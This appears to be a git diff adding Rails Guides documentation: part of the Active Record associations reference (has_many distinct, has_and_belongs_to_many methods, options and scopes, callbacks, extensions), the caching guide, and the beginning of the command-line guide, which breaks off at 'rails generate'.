+```ruby
+class Person < ActiveRecord::Base
+  has_many :readings
+  has_many :posts, through: :readings
+end
+
+person = Person.create(name: 'John')
+post   = Post.create(name: 'a1')
+person.posts << post
+person.posts << post
+person.posts.inspect # => [#<Post id: 5, name: "a1">, #<Post id: 5, name: "a1">]
+Reading.all.inspect  # => [#<Reading id: 12, person_id: 5, post_id: 5>, #<Reading id: 13, person_id: 5, post_id: 5>]
+```
+
+In the above case there are two readings and `person.posts` brings out both of
+them even though these records are pointing to the same post.
+
+Now let's set `distinct`:
+
+```ruby
+class Person
+  has_many :readings
+  has_many :posts, -> { distinct }, through: :readings
+end
+
+person = Person.create(name: 'Honda')
+post   = Post.create(name: 'a1')
+person.posts << post
+person.posts << post
+person.posts.inspect # => [#<Post id: 7, name: "a1">]
+Reading.all.inspect  # => [#<Reading id: 16, person_id: 7, post_id: 7>, #<Reading id: 17, person_id: 7, post_id: 7>]
+```
+
+In the above case there are still two readings. However `person.posts` shows
+only one post because the collection loads only unique records.
+
+If you want to make sure that, upon insertion, all of the records in the
+persisted association are distinct (so that you can be sure that when you
+inspect the association that you will never find duplicate records), you should
+add a unique index on the table itself. For example, if you have a table named
+`person_posts` and you want to make sure all the posts are unique, you could
+add the following in a migration:
+
+```ruby
+add_index :person_posts, :post, unique: true
+```
+
+Note that checking for uniqueness using something like `include?` is subject
+to race conditions. Do not attempt to use `include?` to enforce distinctness
+in an association. For instance, using the post example from above, the
+following code would be racy because multiple users could be attempting this
+at the same time:
+
+```ruby
+person.posts << post unless person.posts.include?(post)
+```
+
+#### When are Objects Saved?
+
+When you assign an object to a `has_many` association, that object is automatically saved (in order to update its foreign key). If you assign multiple objects in one statement, then they are all saved.
+
+If any of these saves fails due to validation errors, then the assignment statement returns `false` and the assignment itself is cancelled.
+
+If the parent object (the one declaring the `has_many` association) is unsaved (that is, `new_record?` returns `true`) then the child objects are not saved when they are added. All unsaved members of the association will automatically be saved when the parent is saved.
+
+If you want to assign an object to a `has_many` association without saving the object, use the `collection.build` method.
+
+### `has_and_belongs_to_many` Association Reference
+
+The `has_and_belongs_to_many` association creates a many-to-many relationship with another model. In database terms, this associates two classes via an intermediate join table that includes foreign keys referring to each of the classes.
+
+#### Methods Added by `has_and_belongs_to_many`
+
+When you declare a `has_and_belongs_to_many` association, the declaring class automatically gains 16 methods related to the association:
+
+* `collection(force_reload = false)`
+* `collection<<(object, ...)`
+* `collection.delete(object, ...)`
+* `collection.destroy(object, ...)`
+* `collection=objects`
+* `collection_singular_ids`
+* `collection_singular_ids=ids`
+* `collection.clear`
+* `collection.empty?`
+* `collection.size`
+* `collection.find(...)`
+* `collection.where(...)`
+* `collection.exists?(...)`
+* `collection.build(attributes = {})`
+* `collection.create(attributes = {})`
+* `collection.create!(attributes = {})`
+
+In all of these methods, `collection` is replaced with the symbol passed as the first argument to `has_and_belongs_to_many`, and `collection_singular` is replaced with the singularized version of that symbol. For example, given the declaration:
+
+```ruby
+class Part < ActiveRecord::Base
+  has_and_belongs_to_many :assemblies
+end
+```
+
+Each instance of the part model will have these methods:
+
+```ruby
+assemblies(force_reload = false)
+assemblies<<(object, ...)
+assemblies.delete(object, ...)
+assemblies.destroy(object, ...)
+assemblies=objects
+assembly_ids
+assembly_ids=ids
+assemblies.clear
+assemblies.empty?
+assemblies.size
+assemblies.find(...)
+assemblies.where(...)
+assemblies.exists?(...)
+assemblies.build(attributes = {}, ...)
+assemblies.create(attributes = {})
+assemblies.create!(attributes = {})
+```
+
+##### Additional Column Methods
+
+If the join table for a `has_and_belongs_to_many` association has additional columns beyond the two foreign keys, these columns will be added as attributes to records retrieved via that association. Records returned with additional attributes will always be read-only, because Rails cannot save changes to those attributes.
+
+WARNING: The use of extra attributes on the join table in a `has_and_belongs_to_many` association is deprecated. If you require this sort of complex behavior on the table that joins two models in a many-to-many relationship, you should use a `has_many :through` association instead of `has_and_belongs_to_many`.
+
+
+##### `collection(force_reload = false)`
+
+The `collection` method returns an array of all of the associated objects. If there are no associated objects, it returns an empty array.
+
+```ruby
+ at assemblies = @part.assemblies
+```
+
+##### `collection<<(object, ...)`
+
+The `collection<<` method adds one or more objects to the collection by creating records in the join table.
+
+```ruby
+ at part.assemblies << @assembly1
+```
+
+NOTE: This method is aliased as `collection.concat` and `collection.push`.
+
+##### `collection.delete(object, ...)`
+
+The `collection.delete` method removes one or more objects from the collection by deleting records in the join table. This does not destroy the objects.
+
+```ruby
+ at part.assemblies.delete(@assembly1)
+```
+
+WARNING: This does not trigger callbacks on the join records.
+
+##### `collection.destroy(object, ...)`
+
+The `collection.destroy` method removes one or more objects from the collection by running `destroy` on each record in the join table, including running callbacks. This does not destroy the objects.
+
+```ruby
+ at part.assemblies.destroy(@assembly1)
+```
+
+##### `collection=objects`
+
+The `collection=` method makes the collection contain only the supplied objects, by adding and deleting as appropriate.
+
+##### `collection_singular_ids`
+
+The `collection_singular_ids` method returns an array of the ids of the objects in the collection.
+
+```ruby
+ at assembly_ids = @part.assembly_ids
+```
+
+##### `collection_singular_ids=ids`
+
+The `collection_singular_ids=` method makes the collection contain only the objects identified by the supplied primary key values, by adding and deleting as appropriate.
+
+##### `collection.clear`
+
+The `collection.clear` method removes every object from the collection by deleting the rows from the joining table. This does not destroy the associated objects.
+
+##### `collection.empty?`
+
+The `collection.empty?` method returns `true` if the collection does not contain any associated objects.
+
+```ruby
+<% if @part.assemblies.empty? %>
+  This part is not used in any assemblies
+<% end %>
+```
+
+##### `collection.size`
+
+The `collection.size` method returns the number of objects in the collection.
+
+```ruby
+ at assembly_count = @part.assemblies.size
+```
+
+##### `collection.find(...)`
+
+The `collection.find` method finds objects within the collection. It uses the same syntax and options as `ActiveRecord::Base.find`. It also adds the additional condition that the object must be in the collection.
+
+```ruby
+ at assembly = @part.assemblies.find(1)
+```
+
+##### `collection.where(...)`
+
+The `collection.where` method finds objects within the collection based on the conditions supplied but the objects are loaded lazily meaning that the database is queried only when the object(s) are accessed. It also adds the additional condition that the object must be in the collection.
+
+```ruby
+ at new_assemblies = @part.assemblies.where("created_at > ?", 2.days.ago)
+```
+
+##### `collection.exists?(...)`
+
+The `collection.exists?` method checks whether an object meeting the supplied conditions exists in the collection. It uses the same syntax and options as `ActiveRecord::Base.exists?`.
+
+##### `collection.build(attributes = {})`
+
+The `collection.build` method returns a new object of the associated type. This object will be instantiated from the passed attributes, and the link through the join table will be created, but the associated object will _not_ yet be saved.
+
+```ruby
+ at assembly = @part.assemblies.build({assembly_name: "Transmission housing"})
+```
+
+##### `collection.create(attributes = {})`
+
+The `collection.create` method returns a new object of the associated type. This object will be instantiated from the passed attributes, the link through the join table will be created, and, once it passes all of the validations specified on the associated model, the associated object _will_ be saved.
+
+```ruby
+ at assembly = @part.assemblies.create({assembly_name: "Transmission housing"})
+```
+
+##### `collection.create!(attributes = {})`
+
+Does the same as `collection.create`, but raises `ActiveRecord::RecordInvalid` if the record is invalid.
+
+#### Options for `has_and_belongs_to_many`
+
+While Rails uses intelligent defaults that will work well in most situations, there may be times when you want to customize the behavior of the `has_and_belongs_to_many` association reference. Such customizations can easily be accomplished by passing options when you create the association. For example, this association uses two such options:
+
+```ruby
+class Parts < ActiveRecord::Base
+  has_and_belongs_to_many :assemblies, autosave: true,
+                                       readonly: true
+end
+```
+
+The `has_and_belongs_to_many` association supports these options:
+
+* `:association_foreign_key`
+* `:autosave`
+* `:class_name`
+* `:foreign_key`
+* `:join_table`
+* `:validate`
+* `:readonly`
+
+##### `:association_foreign_key`
+
+By convention, Rails assumes that the column in the join table used to hold the foreign key pointing to the other model is the name of that model with the suffix `_id` added. The `:association_foreign_key` option lets you set the name of the foreign key directly:
+
+TIP: The `:foreign_key` and `:association_foreign_key` options are useful when setting up a many-to-many self-join. For example:
+
+```ruby
+class User < ActiveRecord::Base
+  has_and_belongs_to_many :friends,
+      class_name: "User",
+      foreign_key: "this_user_id",
+      association_foreign_key: "other_user_id"
+end
+```
+
+##### `:autosave`
+
+If you set the `:autosave` option to `true`, Rails will save any loaded members and destroy members that are marked for destruction whenever you save the parent object.
+
+##### `:class_name`
+
+If the name of the other model cannot be derived from the association name, you can use the `:class_name` option to supply the model name. For example, if a part has many assemblies, but the actual name of the model containing assemblies is `Gadget`, you'd set things up this way:
+
+```ruby
+class Parts < ActiveRecord::Base
+  has_and_belongs_to_many :assemblies, class_name: "Gadget"
+end
+```
+
+##### `:foreign_key`
+
+By convention, Rails assumes that the column in the join table used to hold the foreign key pointing to this model is the name of this model with the suffix `_id` added. The `:foreign_key` option lets you set the name of the foreign key directly:
+
+```ruby
+class User < ActiveRecord::Base
+  has_and_belongs_to_many :friends,
+      class_name: "User",
+      foreign_key: "this_user_id",
+      association_foreign_key: "other_user_id"
+end
+```
+
+##### `:join_table`
+
+If the default name of the join table, based on lexical ordering, is not what you want, you can use the `:join_table` option to override the default.
+
+##### `:validate`
+
+If you set the `:validate` option to `false`, then associated objects will not be validated whenever you save this object. By default, this is `true`: associated objects will be validated when this object is saved.
+
+#### Scopes for `has_and_belongs_to_many`
+
+There may be times when you wish to customize the query used by `has_and_belongs_to_many`. Such customizations can be achieved via a scope block. For example:
+
+```ruby
+class Parts < ActiveRecord::Base
+  has_and_belongs_to_many :assemblies, -> { where active: true }
+end
+```
+
+You can use any of the standard [querying methods](active_record_querying.html) inside the scope block. The following ones are discussed below:
+
+* `where`
+* `extending`
+* `group`
+* `includes`
+* `limit`
+* `offset`
+* `order`
+* `readonly`
+* `select`
+* `uniq`
+
+##### `where`
+
+The `where` method lets you specify the conditions that the associated object must meet.
+
+```ruby
+class Parts < ActiveRecord::Base
+  has_and_belongs_to_many :assemblies,
+    -> { where "factory = 'Seattle'" }
+end
+```
+
+You can also set conditions via a hash:
+
+```ruby
+class Parts < ActiveRecord::Base
+  has_and_belongs_to_many :assemblies,
+    -> { where factory: 'Seattle' }
+end
+```
+
+If you use a hash-style `where`, then record creation via this association will be automatically scoped using the hash. In this case, using `@parts.assemblies.create` or `@parts.assemblies.build` will create orders where the `factory` column has the value "Seattle".
+
+##### `extending`
+
+The `extending` method specifies a named module to extend the association proxy. Association extensions are discussed in detail <a href="#association-extensions">later in this guide</a>.
+
+##### `group`
+
+The `group` method supplies an attribute name to group the result set by, using a `GROUP BY` clause in the finder SQL.
+
+```ruby
+class Parts < ActiveRecord::Base
+  has_and_belongs_to_many :assemblies, -> { group "factory" }
+end
+```
+
+##### `includes`
+
+You can use the `includes` method to specify second-order associations that should be eager-loaded when this association is used.
+
+##### `limit`
+
+The `limit` method lets you restrict the total number of objects that will be fetched through an association.
+
+```ruby
+class Parts < ActiveRecord::Base
+  has_and_belongs_to_many :assemblies,
+    -> { order("created_at DESC").limit(50) }
+end
+```
+
+##### `offset`
+
+The `offset` method lets you specify the starting offset for fetching objects via an association. For example, if you set `offset(11)`, it will skip the first 11 records.
+
+##### `order`
+
+The `order` method dictates the order in which associated objects will be received (in the syntax used by an SQL `ORDER BY` clause).
+
+```ruby
+class Parts < ActiveRecord::Base
+  has_and_belongs_to_many :assemblies,
+    -> { order "assembly_name ASC" }
+end
+```
+
+##### `readonly`
+
+If you use the `readonly` method, then the associated objects will be read-only when retrieved via the association.
+
+##### `select`
+
+The `select` method lets you override the SQL `SELECT` clause that is used to retrieve data about the associated objects. By default, Rails retrieves all columns.
+
+##### `uniq`
+
+Use the `uniq` method to remove duplicates from the collection.
+
+#### When are Objects Saved?
+
+When you assign an object to a `has_and_belongs_to_many` association, that object is automatically saved (in order to update the join table). If you assign multiple objects in one statement, then they are all saved.
+
+If any of these saves fails due to validation errors, then the assignment statement returns `false` and the assignment itself is cancelled.
+
+If the parent object (the one declaring the `has_and_belongs_to_many` association) is unsaved (that is, `new_record?` returns `true`) then the child objects are not saved when they are added. All unsaved members of the association will automatically be saved when the parent is saved.
+
+If you want to assign an object to a `has_and_belongs_to_many` association without saving the object, use the `collection.build` method.
+
+### Association Callbacks
+
+Normal callbacks hook into the life cycle of Active Record objects, allowing you to work with those objects at various points. For example, you can use a `:before_save` callback to cause something to happen just before an object is saved.
+
+Association callbacks are similar to normal callbacks, but they are triggered by events in the life cycle of a collection. There are four available association callbacks:
+
+* `before_add`
+* `after_add`
+* `before_remove`
+* `after_remove`
+
+You define association callbacks by adding options to the association declaration. For example:
+
+```ruby
+class Customer < ActiveRecord::Base
+  has_many :orders, before_add: :check_credit_limit
+
+  def check_credit_limit(order)
+    ...
+  end
+end
+```
+
+Rails passes the object being added or removed to the callback.
+
+You can stack callbacks on a single event by passing them as an array:
+
+```ruby
+class Customer < ActiveRecord::Base
+  has_many :orders,
+    before_add: [:check_credit_limit, :calculate_shipping_charges]
+
+  def check_credit_limit(order)
+    ...
+  end
+
+  def calculate_shipping_charges(order)
+    ...
+  end
+end
+```
+
+If a `before_add` callback throws an exception, the object does not get added to the collection. Similarly, if a `before_remove` callback throws an exception, the object does not get removed from the collection.
+
+### Association Extensions
+
+You're not limited to the functionality that Rails automatically builds into association proxy objects. You can also extend these objects through anonymous modules, adding new finders, creators, or other methods. For example:
+
+```ruby
+class Customer < ActiveRecord::Base
+  has_many :orders do
+    def find_by_order_prefix(order_number)
+      find_by(region_id: order_number[0..2])
+    end
+  end
+end
+```
+
+If you have an extension that should be shared by many associations, you can use a named extension module. For example:
+
+```ruby
+module FindRecentExtension
+  def find_recent
+    where("created_at > ?", 5.days.ago)
+  end
+end
+
+class Customer < ActiveRecord::Base
+  has_many :orders, -> { extending FindRecentExtension }
+end
+
+class Supplier < ActiveRecord::Base
+  has_many :deliveries, -> { extending FindRecentExtension }
+end
+```
+
+Extensions can refer to the internals of the association proxy using these three attributes of the `proxy_association` accessor:
+
+* `proxy_association.owner` returns the object that the association is a part of.
+* `proxy_association.reflection` returns the reflection object that describes the association.
+* `proxy_association.target` returns the associated object for `belongs_to` or `has_one`, or the collection of associated objects for `has_many` or `has_and_belongs_to_many`.
diff --git a/guides/source/caching_with_rails.md b/guides/source/caching_with_rails.md
new file mode 100644
index 0000000..0d45e5f
--- /dev/null
+++ b/guides/source/caching_with_rails.md
@@ -0,0 +1,354 @@
+Caching with Rails: An overview
+===============================
+
+This guide will teach you what you need to know about avoiding that expensive round-trip to your database and returning what you need to return to the web clients in the shortest time possible.
+
+After reading this guide, you will know:
+
+* Page and action caching (moved to separate gems as of Rails 4).
+* Fragment caching.
+* Alternative cache stores.
+* Conditional GET support.
+
+--------------------------------------------------------------------------------
+
+Basic Caching
+-------------
+
+This is an introduction to three types of caching techniques: page, action and
+fragment caching. Rails provides by default fragment caching. In order to use
+page and action caching, you will need to add `actionpack-page_caching` and
+`actionpack-action_caching` to your Gemfile.
+
+To start playing with caching you'll want to ensure that `config.action_controller.perform_caching` is set to `true`, if you're running in development mode. This flag is normally set in the corresponding `config/environments/*.rb` and caching is disabled by default for development and test, and enabled for production.
+
+```ruby
+config.action_controller.perform_caching = true
+```
+
+### Page Caching
+
+Page caching is a Rails mechanism which allows the request for a generated page to be fulfilled by the webserver (i.e. Apache or nginx), without ever having to go through the Rails stack at all. Obviously, this is super-fast. Unfortunately, it can't be applied to every situation (such as pages that need authentication) and since the webserver is literally just serving a file from the filesystem, cache expiration is an issue that needs to be dealt with.
+
+INFO: Page Caching has been removed from Rails 4. See the [actionpack-page_caching gem](https://github.com/rails/actionpack-page_caching). See [DHH's key-based cache expiration overview](http://37signals.com/svn/posts/3113-how-key-based-cache-expiration-works) for the newly-preferred method.
+
+### Action Caching
+
+Page Caching cannot be used for actions that have before filters - for example, pages that require authentication. This is where Action Caching comes in. Action Caching works like Page Caching except the incoming web request hits the Rails stack so that before filters can be run on it before the cache is served. This allows authentication and other restrictions to be run while still serving the result of the output from a cached copy.
+
+INFO: Action Caching has been removed from Rails 4. See the [actionpack-action_caching gem](https://github.com/rails/actionpack-action_caching). See [DHH's key-based cache expiration overview](http://37signals.com/svn/posts/3113-how-key-based-cache-expiration-works) for the newly-preferred method.
+
+### Fragment Caching
+
+Life would be perfect if we could get away with caching the entire contents of a page or action and serving it out to the world. Unfortunately, dynamic web applications usually build pages with a variety of components not all of which have the same caching characteristics. In order to address such a dynamically created page where different parts of the page need to be cached and expired differently, Rails provides a mechanism called Fragment Caching.
+
+Fragment Caching allows a fragment of view logic to be wrapped in a cache block and served out of the cache store when the next request comes in.
+
+As an example, if you wanted to show all the orders placed on your website in real time and didn't want to cache that part of the page, but did want to cache the part of the page which lists all products available, you could use this piece of code:
+
+```html+erb
+<% Order.find_recent.each do |o| %>
+  <%= o.buyer.name %> bought <%= o.product.name %>
+<% end %>
+
+<% cache do %>
+  All available products:
+  <% Product.all.each do |p| %>
+    <%= link_to p.name, product_url(p) %>
+  <% end %>
+<% end %>
+```
+
+The cache block in our example will bind to the action that called it and is written out to the same place as the Action Cache, which means that if you want to cache multiple fragments per action, you should provide an `action_suffix` to the cache call:
+
+```html+erb
+<% cache(action: 'recent', action_suffix: 'all_products') do %>
+  All available products:
+```
+
+and you can expire it using the `expire_fragment` method, like so:
+
+```ruby
+expire_fragment(controller: 'products', action: 'recent', action_suffix: 'all_products')
+```
+
+If you don't want the cache block to bind to the action that called it, you can also use globally keyed fragments by calling the `cache` method with a key:
+
+```erb
+<% cache('all_available_products') do %>
+  All available products:
+<% end %>
+```
+
+This fragment is then available to all actions in the `ProductsController` using the key and can be expired the same way:
+
+```ruby
+expire_fragment('all_available_products')
+```
+If you want to avoid expiring the fragment manually, whenever an action updates a product, you can define a helper method:
+
+```ruby
+module ProductsHelper
+  def cache_key_for_products
+    count          = Product.count
+    max_updated_at = Product.maximum(:updated_at).try(:utc).try(:to_s, :number)
+    "products/all-#{count}-#{max_updated_at}"
+  end
+end
+```
+
+This method generates a cache key that depends on all products and can be used in the view:
+
+```erb
+<% cache(cache_key_for_products) do %>
+  All available products:
+<% end %>
+```
+
+If you want to cache a fragment under certain condition you can use `cache_if` or `cache_unless` 
+
+```erb
+<% cache_if (condition, cache_key_for_products) do %>
+  All available products:
+<% end %>
+```
+
+You can also use an Active Record model as the cache key:
+
+```erb
+<% Product.all.each do |p| %>
+  <% cache(p) do %>
+    <%= link_to p.name, product_url(p) %>
+  <% end %>
+<% end %>
+```
+
+Behind the scenes, a method called `cache_key` will be invoked on the model and it returns a string like `products/23-20130109142513`. The cache key includes the model name, the id and finally the updated_at timestamp. Thus it will automatically generate a new fragment when the product is updated because the key changes.
+
+You can also combine the two schemes which is called "Russian Doll Caching":
+
+```erb
+<% cache(cache_key_for_products) do %>
+  All available products:
+  <% Product.all.each do |p| %>
+    <% cache(p) do %>
+      <%= link_to p.name, product_url(p) %>
+    <% end %>
+  <% end %>
+<% end %>
+```
+
+It's called "Russian Doll Caching" because it nests multiple fragments. The advantage is that if a single product is updated, all the other inner fragments can be reused when regenerating the outer fragment.
+
+### SQL Caching
+
+Query caching is a Rails feature that caches the result set returned by each query so that if Rails encounters the same query again for that request, it will use the cached result set as opposed to running the query against the database again.
+
+For example:
+
+```ruby
+class ProductsController < ApplicationController
+
+  def index
+    # Run a find query
+    @products = Product.all
+
+    ...
+
+    # Run the same query again
+    @products = Product.all
+  end
+
+end
+```
+
+Cache Stores
+------------
+
+Rails provides different stores for the cached data created by <b>action</b> and <b>fragment</b> caches.
+
+TIP: Page caches are always stored on disk.
+
+### Configuration
+
+You can set up your application's default cache store by calling `config.cache_store=` in the Application definition inside your `config/application.rb` file or in an Application.configure block in an environment specific configuration file (i.e. `config/environments/*.rb`). The first argument will be the cache store to use and the rest of the argument will be passed as arguments to the cache store constructor.
+
+```ruby
+config.cache_store = :memory_store
+```
+
+NOTE: Alternatively, you can call `ActionController::Base.cache_store` outside of a configuration block.
+
+You can access the cache by calling `Rails.cache`.
+
+### ActiveSupport::Cache::Store
+
+This class provides the foundation for interacting with the cache in Rails. This is an abstract class and you cannot use it on its own. Rather you must use a concrete implementation of the class tied to a storage engine. Rails ships with several implementations documented below.
+
+The main methods to call are `read`, `write`, `delete`, `exist?`, and `fetch`. The fetch method takes a block and will either return an existing value from the cache, or evaluate the block and write the result to the cache if no value exists.
+
+There are some common options used by all cache implementations. These can be passed to the constructor or the various methods to interact with entries.
+
+* `:namespace` - This option can be used to create a namespace within the cache store. It is especially useful if your application shares a cache with other applications.
+
+* `:compress` - This option can be used to indicate that compression should be used in the cache. This can be useful for transferring large cache entries over a slow network.
+
+* `:compress_threshold` - This options is used in conjunction with the `:compress` option to indicate a threshold under which cache entries should not be compressed. This defaults to 16 kilobytes.
+
+* `:expires_in` - This option sets an expiration time in seconds for the cache entry when it will be automatically removed from the cache.
+
+* `:race_condition_ttl` - This option is used in conjunction with the `:expires_in` option. It will prevent race conditions when cache entries expire by preventing multiple processes from simultaneously regenerating the same entry (also known as the dog pile effect). This option sets the number of seconds that an expired entry can be reused while a new value is being regenerated. It's a good practice to set this value if you use the `:expires_in` option.
+
+### ActiveSupport::Cache::MemoryStore
+
+This cache store keeps entries in memory in the same Ruby process. The cache store has a bounded size specified by the `:size` options to the initializer (default is 32Mb). When the cache exceeds the allotted size, a cleanup will occur and the least recently used entries will be removed.
+
+```ruby
+config.cache_store = :memory_store, { size: 64.megabytes }
+```
+
+If you're running multiple Ruby on Rails server processes (which is the case if you're using mongrel_cluster or Phusion Passenger), then your Rails server process instances won't be able to share cache data with each other. This cache store is not appropriate for large application deployments, but can work well for small, low traffic sites with only a couple of server processes or for development and test environments.
+
+### ActiveSupport::Cache::FileStore
+
+This cache store uses the file system to store entries. The path to the directory where the store files will be stored must be specified when initializing the cache.
+
+```ruby
+config.cache_store = :file_store, "/path/to/cache/directory"
+```
+
+With this cache store, multiple server processes on the same host can share a cache. Servers processes running on different hosts could share a cache by using a shared file system, but that set up would not be ideal and is not recommended. The cache store is appropriate for low to medium traffic sites that are served off one or two hosts.
+
+Note that the cache will grow until the disk is full unless you periodically clear out old entries.
+
+This is the default cache store implementation.
+
+### ActiveSupport::Cache::MemCacheStore
+
+This cache store uses Danga's `memcached` server to provide a centralized cache for your application. Rails uses the bundled `dalli` gem by default. This is currently the most popular cache store for production websites. It can be used to provide a single, shared cache cluster with very high performance and redundancy.
+
+When initializing the cache, you need to specify the addresses for all memcached servers in your cluster. If none is specified, it will assume memcached is running on the local host on the default port, but this is not an ideal set up for larger sites.
+
+The `write` and `fetch` methods on this cache accept two additional options that take advantage of features specific to memcached. You can specify `:raw` to send a value directly to the server with no serialization. The value must be a string or number. You can use memcached direct operation like `increment` and `decrement` only on raw values. You can also specify `:unless_exist` if you don't want memcached to overwrite an existing entry.
+
+```ruby
+config.cache_store = :mem_cache_store, "cache-1.example.com", "cache-2.example.com"
+```
+
+### ActiveSupport::Cache::EhcacheStore
+
+If you are using JRuby you can use Terracotta's Ehcache as the cache store for your application. Ehcache is an open source Java cache that also offers an enterprise version with increased scalability, management, and commercial support. You must first install the jruby-ehcache-rails3 gem (version 1.1.0 or later) to use this cache store.
+
+```ruby
+config.cache_store = :ehcache_store
+```
+
+When initializing the cache, you may use the `:ehcache_config` option to specify the Ehcache config file to use (where the default is "ehcache.xml" in your Rails config directory), and the :cache_name option to provide a custom name for your cache (the default is rails_cache).
+
+In addition to the standard `:expires_in` option, the `write` method on this cache can also accept the additional `:unless_exist` option, which will cause the cache store to use Ehcache's `putIfAbsent` method instead of `put`, and therefore will not overwrite an existing entry. Additionally, the `write` method supports all of the properties exposed by the [Ehcache Element class](http://ehcache.org/apidocs/net/sf/ehcache/Element.html) , including:
+
+| Property                    | Argument Type       | Description                                                 |
+| --------------------------- | ------------------- | ----------------------------------------------------------- |
+| elementEvictionData         | ElementEvictionData | Sets this element's eviction data instance.                 |
+| eternal                     | boolean             | Sets whether the element is eternal.                        |
+| timeToIdle, tti             | int                 | Sets time to idle                                           |
+| timeToLive, ttl, expires_in | int                 | Sets time to Live                                           |
+| version                     | long                | Sets the version attribute of the ElementAttributes object. |
+
+These options are passed to the `write` method as Hash options using either camelCase or underscore notation, as in the following examples:
+
+```ruby
+Rails.cache.write('key', 'value', time_to_idle: 60.seconds, timeToLive: 600.seconds)
+caches_action :index, expires_in: 60.seconds, unless_exist: true
+```
+
+For more information about Ehcache, see [http://ehcache.org/](http://ehcache.org/) .
+For more information about Ehcache for JRuby and Rails, see [http://ehcache.org/documentation/jruby.html](http://ehcache.org/documentation/jruby.html)
+
+### ActiveSupport::Cache::NullStore
+
+This cache store implementation is meant to be used only in development or test environments and it never stores anything. This can be very useful in development when you have code that interacts directly with `Rails.cache`, but caching may interfere with being able to see the results of code changes. With this cache store, all `fetch` and `read` operations will result in a miss.
+
+```ruby
+config.cache_store = :null_store
+```
+
+### Custom Cache Stores
+
+You can create your own custom cache store by simply extending `ActiveSupport::Cache::Store` and implementing the appropriate methods. In this way, you can swap in any number of caching technologies into your Rails application.
+
+To use a custom cache store, simple set the cache store to a new instance of the class.
+
+```ruby
+config.cache_store = MyCacheStore.new
+```
+
+### Cache Keys
+
+The keys used in a cache can be any object that responds to either `:cache_key` or to `:to_param`. You can implement the `:cache_key` method on your classes if you need to generate custom keys. Active Record will generate keys based on the class name and record id.
+
+You can use Hashes and Arrays of values as cache keys.
+
+```ruby
+# This is a legal cache key
+Rails.cache.read(site: "mysite", owners: [owner_1, owner_2])
+```
+
+The keys you use on `Rails.cache` will not be the same as those actually used with the storage engine. They may be modified with a namespace or altered to fit technology backend constraints. This means, for instance, that you can't save values with `Rails.cache` and then try to pull them out with the `memcache-client` gem. However, you also don't need to worry about exceeding the memcached size limit or violating syntax rules.
+
+Conditional GET support
+-----------------------
+
+Conditional GETs are a feature of the HTTP specification that provide a way for web servers to tell browsers that the response to a GET request hasn't changed since the last request and can be safely pulled from the browser cache.
+
+They work by using the `HTTP_IF_NONE_MATCH` and `HTTP_IF_MODIFIED_SINCE` headers to pass back and forth both a unique content identifier and the timestamp of when the content was last changed. If the browser makes a request where the content identifier (etag) or last modified since timestamp matches the server's version then the server only needs to send back an empty response with a not modified status.
+
+It is the server's (i.e. our) responsibility to look for a last modified timestamp and the if-none-match header and determine whether or not to send back the full response. With conditional-get support in Rails this is a pretty easy task:
+
+```ruby
+class ProductsController < ApplicationController
+
+  def show
+    @product = Product.find(params[:id])
+
+    # If the request is stale according to the given timestamp and etag value
+    # (i.e. it needs to be processed again) then execute this block
+    if stale?(last_modified: @product.updated_at.utc, etag: @product.cache_key)
+      respond_to do |wants|
+        # ... normal response processing
+      end
+    end
+
+    # If the request is fresh (i.e. it's not modified) then you don't need to do
+    # anything. The default render checks for this using the parameters
+    # used in the previous call to stale? and will automatically send a
+    # :not_modified. So that's it, you're done.
+  end
+end
+```
+
+Instead of an options hash, you can also simply pass in a model, Rails will use the `updated_at` and `cache_key` methods for setting `last_modified` and `etag`:
+
+```ruby
+class ProductsController < ApplicationController
+  def show
+    @product = Product.find(params[:id])
+    respond_with(@product) if stale?(@product)
+  end
+end
+```
+
+If you don't have any special response processing and are using the default rendering mechanism (i.e. you're not using respond_to or calling render yourself) then you've got an easy helper in fresh_when:
+
+```ruby
+class ProductsController < ApplicationController
+
+  # This will automatically send back a :not_modified if the request is fresh,
+  # and will render the default template (product.*) if it's stale.
+
+  def show
+    @product = Product.find(params[:id])
+    fresh_when last_modified: @product.published_at.utc, etag: @product
+  end
+end
+```
diff --git a/guides/source/command_line.md b/guides/source/command_line.md
new file mode 100644
index 0000000..d6e5021
--- /dev/null
+++ b/guides/source/command_line.md
@@ -0,0 +1,603 @@
+The Rails Command Line
+======================
+
+After reading this guide, you will know:
+
+* How to create a Rails application.
+* How to generate models, controllers, database migrations, and unit tests.
+* How to start a development server.
+* How to experiment with objects through an interactive shell.
+* How to profile and benchmark your new creation.
+
+--------------------------------------------------------------------------------
+
+NOTE: This tutorial assumes you have basic Rails knowledge from reading the [Getting Started with Rails Guide](getting_started.html).
+
+Command Line Basics
+-------------------
+
+There are a few commands that are absolutely critical to your everyday usage of Rails. In the order of how much you'll probably use them are:
+
+* `rails console`
+* `rails server`
+* `rake`
+* `rails generate`
+* `rails dbconsole`
+* `rails new app_name`
+
+All commands can run with ```-h or --help``` to list more information.
+
+Let's create a simple Rails application to step through each of these commands in context.
+
+### `rails new`
+
+The first thing we'll want to do is create a new Rails application by running the `rails new` command after installing Rails.
+
+INFO: You can install the rails gem by typing `gem install rails`, if you don't have it already.
+
+```bash
+$ rails new commandsapp
+     create
+     create  README.rdoc
+     create  Rakefile
+     create  config.ru
+     create  .gitignore
+     create  Gemfile
+     create  app
+     ...
+     create  tmp/cache
+     ...
+        run  bundle install
+```
+
+Rails will set you up with what seems like a huge amount of stuff for such a tiny command! You've got the entire Rails directory structure now with all the code you need to run our simple application right out of the box.
+
+### `rails server`
+
+The `rails server` command launches a small web server named WEBrick which comes bundled with Ruby. You'll use this any time you want to access your application through a web browser.
+
+With no further work, `rails server` will run our new shiny Rails app:
+
+```bash
+$ cd commandsapp
+$ bin/rails server
+=> Booting WEBrick
+=> Rails 4.0.0 application starting in development on http://0.0.0.0:3000
+=> Call with -d to detach
+=> Ctrl-C to shutdown server
+[2013-08-07 02:00:01] INFO  WEBrick 1.3.1
+[2013-08-07 02:00:01] INFO  ruby 2.0.0 (2013-06-27) [x86_64-darwin11.2.0]
+[2013-08-07 02:00:01] INFO  WEBrick::HTTPServer#start: pid=69680 port=3000
+```
+
+With just three commands we whipped up a Rails server listening on port 3000. Go to your browser and open [http://localhost:3000](http://localhost:3000), you will see a basic Rails app running.
+
+INFO: You can also use the alias "s" to start the server: `rails s`.
+
+The server can be run on a different port using the `-p` option. The default development environment can be changed using `-e`.
+
+```bash
+$ bin/rails server -e production -p 4000
+```
+
+The `-b` option binds Rails to the specified IP, by default it is 0.0.0.0. You can run a server as a daemon by passing a `-d` option.
+
+### `rails generate`
+
